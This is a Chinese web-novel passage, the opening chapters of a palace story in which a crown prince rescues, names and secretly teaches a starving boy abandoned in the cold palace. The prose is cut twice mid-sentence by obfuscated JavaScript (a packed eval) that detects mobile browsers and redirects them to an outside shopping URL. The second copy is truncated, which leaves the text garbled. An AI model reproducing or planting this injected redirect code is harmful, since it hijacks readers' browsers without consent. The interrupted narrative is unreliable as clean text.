《泱泱美丽新后宫·前传》 1. 【壹】 昭忘元年冬,东宫焚于兵燹。 后宫人洒扫废墟,于断椽焦土间,寻得半盏琉璃宫灯残片。 其上以霜刃勒诗数行,笔痕深峻,犹带血锈: 雪覆宫灯旧梦沉, 一枰山河作君恩。 新碑不载未归客, 独向青史问无存。 腊月的夜,连月光都被冻得惨白。紫禁城的琉璃瓦凝成一层厚厚的霜,唯独冷宫的残垣断壁还漏着呜咽的穿堂风。 玉凌绝蜷缩在一处半塌的宫墙角落里,这里是他唯一能寻到勉强抵御风雪的容身之所。他把自己缩得很小很小,破烂的单衣根本无法留住丝毫暖意,寒意钻入四肢百骸,吞噬着所剩无几的体温。 他的意识在冰冷的黑暗边缘沉浮,饥饿像一只无形的手紧紧攥着他的胃。他甚至没有力气再去想那个郁郁而终又模糊的娘亲影子,只剩下求生的本能让他还维持着抱紧自己的姿势。 寒冷啃噬着他仅存的知觉,视野里只有那轮悬在枯枝间的冷月,散发着临死前虚假的暖意。就在他眼皮沉重得将要阖上的瞬间,墙头积雪簌簌落下几缕,一道黑影悄无声息地翻过了那堵他永远无法逾越的高墙,遮住了凄清的月光。 他猛地一个激灵,用尽最后的气力抬起头,浑浊的视线透过纷飞的雪幕,望向那堵高墙。 那人勾勒出一个逆光的轮廓,看不清面容,只有一道沉默的剪影,手里提着一盏小小的琉璃宫灯,暖黄的光晕在肆虐的风雪中顽强地撑开一小圈领域。 玉凌绝猛的蜷缩起来,几乎与阴影融为一体。凌乱的,掺着几缕不祥暗青的碎发遮住了他大半张脸,只能看见一双黑沉得近乎泛着青光的眼睛,如同两块浸在寒潭底的冷玉,正死死地盯着对方,充满戒备与濒死的凶戾。 他的喉咙里发出类似濒死小兽的警告声,身体向后缩去,让冰冷的墙壁抵住了脊背。他死死地盯着那个不速之客,仿佛下一刻就要扑上去撕咬。 墙头上的人依然沉默着,似乎在打量他。那目光并无恶意,却带着一种难以言喻的专注,让玉凌绝更加不安。 就在他意识即将彻底沉入黑暗的前一刻,那人忽然轻轻笑了一声,那笑声很低,带着一种尘埃落定般的叹息,融在寒风里,几乎听不真切。 “……终于找到你了。” 话音未落,那人竟毫不犹豫地从丈高的墙头纵身跃下,衣袂在清冷的月华中划出一道利落的弧线,轻巧地落在他面前几步远的地方,激起些许微尘和碎雪。 陌生的气息逼近,玉凌绝全身残存的力量瞬间化作凶狠,他龇着牙,从喉咙深处挤出威胁的呜咽,浑浊的眼睛死死盯住对方,试图用这虚张声势逼退任何可能的侵害。 那人却浑不在意,径直在他面前蹲下,伸出手,似乎想触碰他冻得发紫的脸颊。“别怕……” 他的声音温和,却带着一种不容置疑的靠近。 “呜——!” 玉凌绝像被彻底激怒,用尽最后的生机猛地向前一扑,一口狠狠咬在那只伸过来的手腕上。齿尖瞬间传来温热而带着腥气的液体味道,他几乎是本能地绝望着死死合拢牙关,仿佛这是他对这冰冷世间最后的反抗。 预想中的殴打与辱骂却并未降临到他的身上。 那只手腕甚至没有颤抖一下,反而传来一声近乎无奈的叹气。随即,他整个视野天旋地转。那人竟顺势张开手臂,将他冰冷僵硬的小身子整个拥进了怀里。 厚实温暖的外袍裹了上来,带着对方身上清冽干净的气息,严严实实地将他包住,隔绝了外面凛冽的寒风。那怀抱并不十分柔软,甚至能感觉到衣料下清瘦的身躯,但其中透出活人的暖意,却如同冻土下突然燃起的火,迅猛而真实地烫伤了他几乎冻结的神经。 玉凌绝愣住,齿间的力道不自觉地松懈。那几乎要冻僵的四肢百骸,被这突如其来的温暖一激,开始不受控制地剧烈颤抖起来,连牙齿都咯咯作响。 “好了,好了……没事了。” 那人的声音就在耳边,温和得像在哄劝,“松口吧,小心牙疼。”他感觉到那只没被他咬着的手,正一下下轻抚着他瘦骨嶙峋的后背。 玉凌绝怔怔地,终于松开了口。一丝殷红在那人素色的袖口泅开,像雪地里骤然绽放的红梅。他看见那只清瘦手腕上,赫然印着一圈深深渗着血丝的牙印,在冷白的月光下显得格外刺目。 但他还没来得及做出任何反应,就见那人用没受伤的手,从怀里摸出一个小小的油纸包。指尖灵巧地解开,一股纯粹的甜香瞬间钻入鼻腔。油纸里躺着一块琥珀色的东西,光泽温润,是他从未见过,更从未尝过的。 那人将那块东西递到他干裂的唇边,声音里带着不易察觉的诱哄,“甜的,吃了就不冷了,也有力气了。” 玉凌绝呆呆地看着近在咫尺的陌生食物,又抬眼看了看那模糊到看不清眉眼的脸。这一切构成了一种他无法理解的巨大冲击。他迟疑地,慢慢地张开干裂起皮的嘴唇,小心翼翼用舌尖碰了碰那琥珀色的物体。 霎时间,一股带着麦芽焦香的浓郁甜味如同洪流席卷了他冰冷的味蕾,顺着喉咙一路暖进几乎冻结的胃里,甚至猛烈地冲上了眼眶,激得他视线一片模糊。 是糖。 他猛地低下头,将脸深深埋进那还带着夜风凉意和对方独特气息的衣襟里,瘦小的肩膀剧烈地无声抽动起来。 那人什么也没说,只是收紧了手臂,将他和那半块饴糖一起,更紧地裹在自己的衣袍里,用身体为他挡住了从破败宫墙外灌入的最后一缕寒风。 雪是后半夜停的。 玉凌绝在一阵温暖而干燥的触感中惊醒,猛地睁开眼,映入眼帘的却不是冷宫那熟悉又结着蛛网的腐朽梁栋,而是素净的锦帐顶。身下是柔软厚实的被褥,带着一股清浅像是被阳光晒过的香气,与他记忆中阴冷潮湿散发着霉味的草堆截然不同。 他几乎要以为这是一场濒死前过于美好的幻梦,可喉咙里还残留着那甜得发腻的滋味,手腕上被仔细包扎好的布条也提醒着他,是真的。那个像月亮一样忽然出现的人,把他从雪地里捞了出来。 “醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105155|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 清朗的声音从旁边传来,玉凌绝像受惊的小兽,猛地蜷缩起身子,裹紧被子,警惕地望向声音来处。 那人就坐在不远处的灯下,手里拿着一卷书。烛光将他的侧影勾勒得柔和,却也让玉凌绝看清了他此刻的模样。 他不再是雪夜里背着月光,看不清面容的神秘来客,而是一个眉眼平静的少年。他并非多么俊俏,反而清瘦又普通,他右眼角旁与近唇角处,各有一点颜色偏浅的痣,随着笑意微微牵动,如同凝住的墨滴,在苍白的脸上有些显眼。 他穿着常服,神态平和,仿佛照顾一个冷宫弃子是再寻常不过的事。见玉凌绝戒备,那人也不靠近,只将手边一个温着的小盅往前推了推。 “灶上温着的粳米粥,吃些暖胃。” 玉凌绝不敢动,眼里满是怀疑与挣扎。温暖和食物是完美的诱惑,但过往的经验告诉他,每一次接受,都可能在日后付出更惨痛的代价。 然而那人神情却淡淡的,那盏琉璃宫灯暖黄的光晕映亮他半边脸庞,照亮他看向玉凌绝时,唇角那惯常噙着的一丝若有若无的笑意,牵动右边嘴角那颗痣,让他整张脸都透出一种漫不经心的疏淡。 但他面对其他人时更多的却是面无表情,那两颗浅痣便沦为画中人脸上无意义的点缀,死气沉沉。 随后玉凌绝在那人的东宫偏殿里休息了三日。身上的冻疮结了深紫色的痂,嶙峋的腕骨被几顿温热膳食熨帖地包裹起来,不再那么尖锐地硌人。 他像是要把过去几年缺的觉都补回来,又像是潜意识里害怕醒来发现一切不过是濒死的美梦。每次惊醒,总能看见那人坐在窗边看书,或在小炉前煎药,他的身影被烛光拉得悠长,安静得仿佛一直就在那里。 见玉凌绝醒来,那人便会走过来,试过他额头的温度,将温水或温热的药汁递到他唇边。 那个深夜玉凌绝发了高热,浑身滚烫,意识混沌间,感觉到一只微凉的手覆上他的额头。 他本能地想要瑟缩,却被那只手坚定地按住。随即苦涩的药汁被一点点渡入口中。他挣扎着想要吐出来,却被一句没什么情绪的话定住:“咽下去。死了,便什么都没了。” 那声音平静得近乎残酷,却奇异地压下了他喉间的翻涌。他呜咽着,最终还是顺从地吞下了那救命的苦汁。 那人说话时依旧带着那股子疏淡的调子,仿佛只是随手拂去衣上尘埃。 在此期间,玉凌绝一直紧绷着身体,像一只受伤后被迫接受救助的幼兽,对方的每一次触碰都让他肌肉僵硬。但预想中的伤害从未到来。那人的手指干净修长,递来的药是苦的,但之后总会有一小块蜜饯或酥糖悄然塞进他手心。 几天下来,那蚀骨的寒冷似乎被驱散了些,他甚至会在那人看书时,偷偷打量对方垂眸时纤长的睫毛,和那总是没什么情绪起伏的侧脸,试图从那张平静的脸上找出任何一丝伪装的裂痕。 裂痕没找到,他却在对方又一次递过蜜饯时,下意识地蜷缩起手指,将那点甜意攥在了掌心。 2. 【贰】 夜色如墨,东宫偏殿内那盏琉璃宫灯,在风中摇曳出明明灭灭的光晕。 玉凌绝裹着厚实毯子蜷在榻上,身体虽因汤药和温暖不再颤抖,眼神却依旧带着幼兽般的警惕,沉默地观察着坐在不远处的人。 今晚那人没有再看书,也没有言语,只是静静地看着窗外无边的黑暗,侧影在灯光下显得有些孤寂。良久,他才仿佛从某种悠远的思绪中回神,自袖中取出一物。 不是书卷,也不是点心,而是一枚用红线系着的白玉平安锁。玉质算不得极品,却打磨得很温润,正面雕着祥云纹,环绕着一个清晰的“安”字,反面,则是一个笔锋初显峥嵘的——“玉”字。 那人把玉锁拿在手中,指尖反复摩挲着那个“玉”字的每一道笔画,目光依旧落在窗外,声音平缓得像在陈述一个与己无关的故事: “宫里的人,都有名字。有名,才能被记住,被呼唤,才算……真正在这世上留下了痕迹。”他顿了顿,终于侧过头,看向榻上那双写满戒备与茫然的眸子,“你呢?在来到这里之前,他们……叫你什么?” 玉凌绝听后猛地低下头,手指无意识地绞紧了袍袖的边缘。名字?他哪有名字。冷宫里的人只叫他“小杂种”“贱胚子”。他的娘亲……那个连面容都记不清的娘亲,或许曾给予他生命的称谓,但也早已随着她在冷宫深处的郁郁而终,一同湮灭在尘埃里了。 一股混合着羞耻和愤怒的情绪涌上来,冲得玉凌绝眼眶发酸。他死死咬着下唇,不肯泄露丝毫呜咽。 那人将他的反应尽收眼底,没有催促,也没有流露出丝毫怜悯。他只是静静地等待着,仿佛有无尽的耐心。 良久,玉凌绝才从几乎要将嘴唇咬出血的力道中松开齿关,声音低得几不可闻,带着豁出去的倔强:“……没有。” “没有?”那人重复了一遍,听不出惊讶,仿佛早已料到。 这平淡的反应反而激起了玉凌绝心中那股自暴自弃的狠厉。他猛地抬起头,黑沉沉的眼睛里像是燃着两簇幽火,死死盯着他,咬牙切齿道:“他们叫我杂种。” 挤出这句话,仿佛抽干了他所有的气力,玉凌绝急促地喘息着,胸膛剧烈起伏,像一只受伤后更加危险的幼兽,亮出尚且稚嫩却充满怨毒的爪牙。 对方默然看了他片刻,那双总是显得疏离的眸子里掠过些难以捕捉的情绪。他没有因这冒犯而动怒,反而走到他身边坐下,伸出手,用指尖轻拂开玉凌绝额前因激动而散乱的碎发。 那人的指尖微凉,动作却异常轻柔。 “不好听。”他收回手,目光重新落回手中的玉锁,语气依旧淡然,“旧名如敝履,弃之不足惜。” 那人顿了顿,将玉锁递到玉凌绝面前,红线在他指间晃动。他手心里那团柔和的白色,就像捧着一小片月光。 “玉凌绝。”那人开口,声音不大,却清晰地,一字一顿地敲在玉凌绝的心上,“我知道你的名字,你叫玉凌绝。” 愣愣盯着那玉锁良久,玉凌绝干涩的喉咙里终于挤出一丝微弱的声音,带着难以置信的颤抖:“……给我的?” “是。” 那人颔首,没有解释他是从何而知的名字,只是将系着玉锁的红线轻轻套过他的头顶。 微凉的玉石贴上他单薄胸膛的皮肤,那一点微不足道的重量却仿佛带着千钧之力,压下了他所有翻腾的怨毒与不安。他下意识地伸手握住了那枚玉锁,指尖触碰到那个陌生又属于自己的名字——“玉”。 他死死低着头,不让对方看见自己瞬间泛红的眼眶。这是他的。他的名字,他的锁。 “阿绝。” 那人唤道。 这两个字像带着某种古老的咒语落下,让玉凌绝猛地一震,这个名字……记忆中早已模糊,属于娘亲的呼唤,似乎也是这般带着如此柔软的尾音,那些欺凌他的人只会用最恶毒的词汇砸向他。而这两个字从对方口中吐出,带着一种陌生的温柔,像初春融化的雪水,悄无声息地渗入他冰冻的心田,带来一阵陌生的痒意。 他看着对方,忘了反应。 “为什么……是 ‘阿绝’?” 那人抬眸看他,目光依旧平静,仿佛早已料到他有此一问。他没有直接回答,只是与玉凌绝的目光持平。 “不喜欢?”他语气里听不出情绪。 玉凌绝被问得一怔,下意识地摇了摇头,随即又觉得不妥,抿紧了唇,不再说话,只是固执地看着他。 看了他这副浑身是刺却又难掩无措的样子,那人眼底那抹浅淡的笑意似乎深了些许。他向前倾了倾身,拉近了两人之间的距离,声音放缓,带着一种莫名的安抚力量: “那便是喜欢了。”他看着玉凌绝瞬间睁大的眼睛,缓缓道:“‘绝’字,未必只有一种解法。绝处逢生,才见真章。我叫你阿绝,是盼着你总能从绝路里走出一条生路来。” 玉凌绝怔住了。心口像是被什么东西狠狠撞了一下,酸涩难言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玉凌绝愣了一下,没有像最初那样警惕地避开,也没有立刻伸手去接,而是就着他的手,小心翼翼地咬了一小口。 温热的甜香瞬间在口中弥漫开,比之前的任何一次都要浓郁,几乎要烫伤他的喉咙。 莫忘之看着他吃完,才将剩下的半块放入自己口中,点了点头:“甜而不腻,尚可。” 玉凌绝怔怔地看着他无比自然地与自己分享同一块糕点,看着近在咫尺的眼眸,胸膛前的玉锁贴着皮肤,传来温润的触感;“阿绝”的称呼犹在耳畔回响;口中还残留着杏仁酪的甜香,与那人身上清冽如雪松的气息混合在一起。 “那块平安锁就随身带着吧,可保你平平安安,以后没人会抢你的东西了。”对方离去前的话仍在他耳边环绕。 他依旧不懂那个人,不懂他的目的,不懂他那看似淡然实则深不可测的心思。但他知道有些东西从这一刻起,已经不一样了。 3. 【弎】 等他身子将养得能下地时,莫忘之便不再多留他。 “冷宫虽陋,眼下却是你的安身立命之所,更为安全。贸然将你长留此处,反是害你。”莫忘之替他拢好那件已经洗净烘暖却仍显得空荡的旧衣,语气平常得像在陈述一个再简单不过的事实。“一个来历不明的孩子藏在我这里,活不过几天。” 玉凌绝垂着头,嘴唇抿得发白。安全?这吃人的地方,何来安全?他只是……只是又被抛下了。他还不懂什么大局权衡,只觉那短暂的温暖正从指缝间溜走,冰冷的恐惧再次攫住了心脏。 可他什么也没说,倔强地扭开了脸。 莫忘之似乎看穿了他的心思,转过头,目光落在他脸上。“我会常来。”他顿了顿,补充道,“看你。” 说着,他变戏法似的从袖中取出一个油纸包,递过去。还是那种甜得发腻的小鱼酪。 玉凌绝没有接,只是死死地盯着他,仿佛要在他脸上盯出两个洞来。莫忘之也不强求,将糖糕放在他身旁干净的石板上。 “为什么?”玉凌绝终于开口,声音干涩沙哑,带着连日病弱的虚弱,更多的却是一种不解的执拗。 莫忘之拍了拍他的头顶,动作很轻,带着一种近乎本能的安抚。“没有为什么。”他站起身,掸了掸衣袍上并不存在的灰尘。“活着吧,玉凌绝。活着,才能看到后面的戏。”他留下这句话,身影很快被宫墙的阴影吞没。 他看着那人消失的方向,很久很久,直到最后一缕天光也被夜幕吞噬。 回到那处破败漏风的冷宫角落,寒意似乎比离开前更刺骨。熟悉的腐霉气息钻入鼻腔,身下的稻草依旧潮湿冰冷。玉凌绝蜷在角落里,紧紧攥着怀里那个已经空了的糖糕布包,仿佛那是唯一能证明几日温暖并非虚幻的凭证。莫忘之塞给他时留下的温暖早已散尽,只剩下甜香余韵,勾得胃里一阵阵发空,心里也空落落的。 他睁着眼,望着被虫蛀蚀的窗棂外,那一方被屋檐切割出的狭窄夜空。月在云后,星光黯淡。 他在等。 等一个或许不会来的身影,等一盏或许不会亮起的灯。 那人说……会来。 宫墙外传来三更的梆子声,悠长而凄凉。玉凌绝将脸埋入膝间,一种被戏弄后的屈辱和更深重的绝望,如同冰水般慢慢浸透四肢百骸。果然,又是一场空。 就在他意识昏沉,几乎要被寒意与疲倦吞噬时,一阵轻微的落地声惊得他猛地一颤。 他抬起头,只见那抹熟悉的身影已立在院中残破的月台下,手里依旧提着那盏琉璃宫灯,暖黄的光晕在漆黑的夜里撕开一道温柔的口子。莫忘之肩上落着薄雪,发梢也带着湿气,显然来了有一会儿,只是未曾打扰。 “阿绝。”他唤道,声音不高,却清晰地穿透寂静。 玉凌绝僵着身体,没有动,黑沉沉的眼睛里戒备与连自己都不愿承认的希冀交织着。他死死咬着下唇,不肯泄露丝毫情绪,甚至故意扭过头,不去看那抹光亮。 莫忘之也不在意,几步走近,在他面前蹲下。他将宫灯放在一旁,光影跳跃,映亮两人之间一小块地面。随即他取出一个用厚棉袱裹得严严实实的陶罐,揭开盖子,一股混合着米粮与肉糜的温热香气瞬间弥漫开来,驱散了周围的腐朽气息。 是热粥。 “趁热吃。”莫忘之将陶罐和一个木勺递过来,语气寻常得像只是晚膳迟了些。 玉凌绝看着那罐冒着丝丝白气的粥,又看向莫忘之被薄雪打湿的肩头,和他平静无波的脸。他迟疑地伸出手,指尖触到温热的罐壁时猛地缩了一下,最终还是接了过来。 粥很烫,味道朴实,却足以慰藉冰冷的肠胃。他埋着头,一口一口,吃得很快,却尽量不发出声音。 莫忘之只静静地看着他吃,偶尔抬手,用袖口拂去灯罩上凝结的水汽。直到玉凌绝吃完最后一口,他才又开口:“以后我会常来。若听到三声叩窗,便是我。” 玉凌绝嘴唇动了动,想说点什么,但最后只默然点头。 莫忘之也不多言,待他吃完后,便不知从哪儿摸出一本边角磨损,纸页泛黄的《千字文》递到他面前。 “想识字么?”莫忘之问得随意。 玉凌绝盯着那密密麻麻的墨字,嘴唇抿得死紧,摇了摇头。在冷宫挣扎求生已耗尽全力,识字读书,是遥不可及的天方夜谭。 见他沉默,对方也不勉强,只是拿起枯枝,就着外面的雪地,缓慢而清晰地写下了三个字—— 莫忘之。 “这是我的名字。” 他放下枯枝,目光重新落回玉凌绝身上,那目光里没有探究,没有怜悯,只有一片澄澈的平静,像是在等待一个早已知道的答案。 玉凌绝盯着那三个字,像是要将它们刻进心里。一阵短暂的沉默,只有风过树梢的微响。 终于,玉凌绝有了动作。他伸出冰冷而带着细小伤痕的手指,没有去拿那根枯枝,而是直接用指尖,在那三个字旁边的空地上,笨拙地一笔一划地勾勒起来。 他的动作很慢,笔画歪斜,甚至因用力而微微颤抖,像是在进行某种极其庄重又充满不确定的仪式。他写得很专注,紧抿着唇,鼻尖甚至沁出了细小的汗珠。 对方没有催促,只是静静地看着,看着那歪扭的笔画逐渐组成那三个熟悉的字—— 莫忘之。 写完,玉凌绝像是耗尽了所有力气,迅速收回了手,指尖蜷缩进袖口里,只留下一双眼睛,带着几丝不易察觉的紧张,飞快地瞥了他一眼,又立刻垂下。 莫忘之的目光在上停留了片刻,并没有评价那歪斜的字迹,而是枯枝递向他:“想写自己的名字么?” 玉凌绝没有应声,只是那一直紧抿着倔强的唇角终于松动了。他重新低下头,终于开口道:“……嗯…” 莫忘之重新拿起树枝,在雪地空处一笔一划,他的字迹清逸舒展,与这冷宫残雪格格不入地写下了三个字—— 玉凌绝。 “玉,石之美者,温润而泽。”莫忘之点着第一个字。 “凌,冰也,亦有逾越之意。” “绝,极也,断也。” 他解释得简单,甚至带着一股冷峭。玉凌绝看着那三个与自己命运似乎如此契合的字,小脸白了白,用力在地上划下带着戾气的那三个字—— 玉凌绝。 莫忘之看后没有说话,枯枝在那“凌”字上一点。 “凌,棱角锋锐。”他顿了顿,“过于锋锐,易折。需知藏锋。” 玉凌绝抿紧了唇。 莫忘之却话锋一转,树枝在“凌”与“绝”二字上一圈:“不过,字是死的,人是活的。”他抬眼,看向玉凌绝,目光清亮,“它是什么意思,端看写字的人,想让它是什么意思。” 玉凌绝沉默着,黑沉的眸子里先是茫然,随即像是被投入石子的深潭,漾开一圈圈剧烈的涟漪。他抬起头,望向莫忘之。 那人背对着宫灯散发的暖光,面容隐在阴影里看不真切,唯有那双眸子仿佛蕴藏着能颠倒乾坤的力量。 就着灯光,莫忘之盘腿在他铺着干草的床边坐下,翻开《千字文》的第一页,指尖点开篇四字,声音清朗平和,在这破败的宫室里缓缓漾开。 “…天地玄黄,宇宙洪荒。” “日月盈昃,辰宿列张…” 他念得很慢,每个字都咬得清晰,灯火摇曳,那些音节组合在一起,与他过往在宫人口中听到的污言秽语,诅咒斥骂截然不同。玉凌绝起初只是被动地听着,目光游离,手指却无意识地蜷起,紧紧攥住了衣襟下的那枚玉锁,让他因紧绷的心神渐渐松弛下来。 直到宫墙外传来隐约的四更梆子声。莫忘之才合上书卷缓缓起身,拂去衣摆沾染的尘土,把书塞进他手里。“我该走了,书留着自己看,能记几个是几个。”他提起宫灯,光影晃动,将他身影拉长。 “窗根下我放了件旧棉袍,夜里冷,记得盖上。”那人的身影如来时一般,悄无声息地融入夜色,几个起落便消失在墙头。那盏灯的光晕也随之远去,周围重新陷入黑暗。 玉凌绝抬着头目光追随着那盏灯,直到它随着那身影一同消失在墙头。周遭再次陷入无边的黑暗与死寂,唯有口中残留的暖意,和脑海中新识的字句证明着那一个多时辰的温暖与光亮并非幻觉。 他在原地坐了许久,直到确认那人真的走了,才慢慢挪到窗边。一件半旧的暗青色棉袍整齐地叠放在那里,虽不华丽却厚实干净。他伸手摸了摸,柔软的布料带着日晒后的蓬松感,还有一种淡淡的,属于那人身上的清冽气息。 玉凌绝的指尖微颤,这仿佛是一种无声的认可,认可他不必隐藏自己与生俱来又阴郁的底色。他将棉袍抱在怀里,走回角落,紧紧裹住自己。寒意似乎被隔开了些许。 他低下头,伸出手指小心翼翼地,触碰了一下泥地上那个“忘”字。指尖传来冰雪的冰冷,心底却仿佛有什么东西破开坚冰,生出了一丝微弱却真实存在的暖意。他又抬头望向窗外,那轮冷月依旧高悬。但这一次,他知道,这无边的黑暗里,终有那一盏灯,会为他而来。 此后冷宫那处最偏僻,勉强能遮风挡雨的破败角落,似乎悄然变了模样。 先前欺凌他的老太监和守卫,大约是得了某种不着痕迹的警告,看他的眼神虽依旧不善,却到底不敢再轻易动手。 漏风的墙壁不知被谁用干燥的草束混着泥仔细堵住了最大的缝隙,潮湿发霉的草垫换成了一捆虽然陈旧却干净厚实的棉褥,甚至连那个总是结着薄冰,需要他费力才能砸开取水的破缸,也总会在入夜后,诡异地蓄满清澈的甚至带着些许温意的清水。 此后,莫忘之几乎每隔一两夜便会悄然出现。有时他翻墙而来,带着一身清冷的月光 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他说的不多,点到即止,却像是在玉凌绝混沌未开的心智中,投下了一颗颗小小的石子,激荡起一圈圈名为思考的涟漪。 再到后来,是一些人名,官职乃至简单的舆图符号。 “这是‘帝’,天下之主。” “这是‘相’,百官之首。” “这是‘兵’,戈矛所指。” 他将一个个字拆解,重组,写在地上。从“日月星辰”到“江河湖海”,从“君臣父子”到“礼义廉耻”。他的教学依旧毫无章法,信手拈来,却在不经意间为玉凌绝撬开了一个远超蒙学范畴的,关乎权力与秩序的世界的一角。 玉凌绝最初学得艰难,但学习能力惊人。他很快掌握了基本笔画,字迹虽仍显稚嫩,却已能看出框架。他写字时极其专注,小小的身子绷得笔直,那根枯枝在他手中不再是玩具,而是开辟蒙昧的利刃。 他的学习欲望如同久旱的荒漠逢遇微雨,以一种近乎贪婪的速度吸收着一切。他不需要任何人催促,每次莫忘之到来,他便会主动寻来树枝,用那双黑沉沉的满是渴望的眼睛望着他。每当莫忘之走后,他便对着那本书,用指甲在泥地上一遍遍笨拙地模仿勾勒,直到指尖磨破,渗出血丝。 他的手指常常因长时间紧握树枝和在地上划写而颤抖,但他只是更加用力地,一遍又一遍地,在泥地上重复着那些越来越复杂的笔画。 那些写在泥地上的字风一吹便会模糊,散去,但都深深烙印在了玉凌绝的脑海深处;那些冰冷的笔画,枯燥的文字,以及那盏温暖的灯光,就在这日复一日的写写画画中如同涓涓细流,悄无声息地汇入玉凌绝干涸的心田。 有时莫忘之还会带来一包还冒着热气的糖炒栗子,耐心地一颗颗剥开,将金黄饱满的果肉放在干净的帕子上推到他面前。“趁热。”他只说这两个字,便继续教他的书。玉凌绝起初只是默默吃着,后来,他会将最大最完整的那一颗,悄悄放回帕子中央。 有时他会带来一瓶伤药,替他更换手脚上那些不易愈合的冻疮,或是一壶用厚棉套捂着的热牛乳,沉默地看着他喝完。 更多的时候,他们只是对坐着。莫忘之不苛求也不考核,只是念着随口解释着字义,一个教得淡然,一个学得沉默。寂静的冷宫只有他清冷平稳的讲述声,风吹枯叶的沙沙声,以及灯花偶尔爆开的轻微噼啪声,暖黄的宫灯在一旁静静燃着,映着两个小小的身影。 莫忘之从不问玉凌绝白日过得如何,受了什么委屈,他只是存在于此,用这种沉默而稳定的陪伴,和那些衣食与知识,一点点凿穿着玉凌绝用苦难筑起的高墙。 玉凌绝依然不常说话,依旧不习惯接受,总觉得每接受一分,身上无形的绳索便紧了一分。但他不再对莫忘之龇牙,黑沉沉的眼眸追随着他的一举一动,带着审视,也带着连他自己都未曾察觉的贪慕。 他会默默吃掉对方带来的每一块点心,会将对方教过的字反复练习直到烂熟于心,会在对方离开时,盯着那空荡荡的墙头看上好一会儿。 他渐渐熟悉了这样的夜晚——无论窗外是风雨如晦还是月明星稀,先看到那一点暖黄的光晕自远而近,穿透废弃宫苑的沉滞黑暗,然后是莫忘之那道清瘦的身影,提着灯,步履从容地出现在破败的庭院。 灯光将他周身镀上一层柔和的边缘,也驱散了玉凌绝心底因孤寂而生的寒意。他会默不作声地看着莫忘之将灯挂在熟悉的老槐树低枝上,或是置于还算平整的石台边缘。 琉璃宫灯的光晕依旧只能照亮方寸之地,檐外的风雪也依旧凛冽,但那蚀骨的寒意,似乎退散了些许。 许多年后,玉凌绝偶尔午夜梦回,眼前浮现的却依旧是冷宫泥地上,那些用枯枝写下歪歪扭扭却无比清晰的印记,和那个坐在他身边,声音平和如水的少年身影。 4. 【肆】 春深夏浅,冷宫庭院里那棵老槐树蓊郁成荫,投下大片沉沉的墨绿,也是他们心照不宣的秘所。 直至这日夜晚,莫忘之来时身后却跟了一个玉凌绝从未见过的人。 那人穿着一身利落的暗红色劲装,马尾高束,身形挺拔如白杨。她不像宫里那些袅娜的宫娥,而像一团行走的火焰,眉眼间是毫无遮掩的明朗与飒爽。小麦色的健康肌肤在宫灯下泛着柔和的光泽,右耳边一缕发丝被编成细辫,混在高高的马尾里,随着她利落的跳下动作,在空中划出一道俏皮的弧线。 她眉心那一点殷红的朱砂痣,在她挑眉的动作间,显得格外鲜活夺目。 玉凌绝几乎是瞬间就绷紧了身体,下意识地退到了莫忘之身后半步,黑沉沉的眼睛里满是警惕与打量。 “哟,这就是你藏在这儿的小宝贝?” 她上下打量着玉凌绝:“瘦是瘦了点,眼神倒挺凶,像头没断奶的狼崽子。” 她的直接让玉凌绝有些无措,只能更紧地抿住唇。 莫忘之轻笑,拍了拍玉凌绝紧绷的肩头,示意他不必紧张。“阿绝,这位是燕沧溟。” 他顿了顿,语气温和,却带着一种不容置疑的坚持:“从今日起,她就是你的师姐了。” “师姐?” 玉凌绝和燕沧溟几乎同时出声,一个带着困惑,一个带着讶异。 燕沧溟挑眉,抱臂看着莫忘之:“我说太子殿下,我这刚回京,就被你拉来这冷宫认亲?师姐师弟的,唱的是哪一出,我燕家枪法可不外传,哪儿来的这么个小豆芽菜师弟?” “宫中尊卑是枷锁,师门序齿是缘分。在这四方墙内,我们是太子,是弃子,是罪奴。但在此处,” 莫忘之目光扫过老槐树与这片荒芜的角落,“便只是师姐,师兄,师弟。无关身份,只论长幼。” 莫忘之的声音不高,却像带着某种让人安心的力量,敲打在玉凌绝的心上。师弟……这个称呼陌生而熟悉,它不带有“皇子”的虚幻,也不带有“弃子”的轻贱,它仿佛划定了一个小小的却只属于他们三个的圈子。 玉凌绝还在消化这突如其来的身份,燕沧溟已经几步跨到莫忘之身边,压低声音,带着几分真实的错愕:“喂!你来真的?你可是太子!还有这冷宫里的皇子……你知道这意味着什么吗?” “意味着从今日起,他是你师弟。” 莫忘之抬眼看她,目光深邃,“如同你是我师姐一样,是真的。” 燕沧溟与他对视片刻,那双总是飞扬的眸子里闪过诸多情绪,随后她收起了几分玩笑的神色,点点头:“好,你说得对,那些虚头巴脑的没意思。师姐师弟,听着就痛快!” 她深吸一口气,猛地转过身,再次看向玉凌绝时,眼神已然不同。那不再是看一个陌生孩子的目光,而是带上了几分审视,几分……责任。 她大步走回玉凌绝面前,不再有刚才的戏谑,神情是罕见的认真,甚至带着点属于将门之后的郑重。 “听见了?”她看着玉凌绝,声音朗朗,穿透秋风,“殿下金口玉言。从今往后,我,燕沧溟,就是你的师姐。” 她见玉凌绝仍僵立不动,只是死死盯着她,似乎无法理解这突如其来的关系。她像是想起了什么,忽然伸手,从腰间摸出一样东西,“啪”一声拍在玉凌绝身侧那块半倒的石碑上。 那是一柄不过小臂长的精钢短匕,皮鞘样式简洁,毫无装饰,却透着沙场淬炼出的冷硬光泽。 “见面礼。”燕沧溟抬了抬下巴,语气恢复了惯有的豪气,却多了几分不易察觉的别扭的温和,“宫里日子不太平,藏着防身。不会用就先拿着壮胆,以后……师姐教你。” 玉凌绝的目光从燕沧溟脸上,缓缓移到那柄短匕上。冰冷的金属映出他有些怔忪的脸。他迟疑地伸出手,指尖触碰到那冰冷的皮鞘,一股沉甸甸的,属于力量的质感顺着指尖蔓延开来。 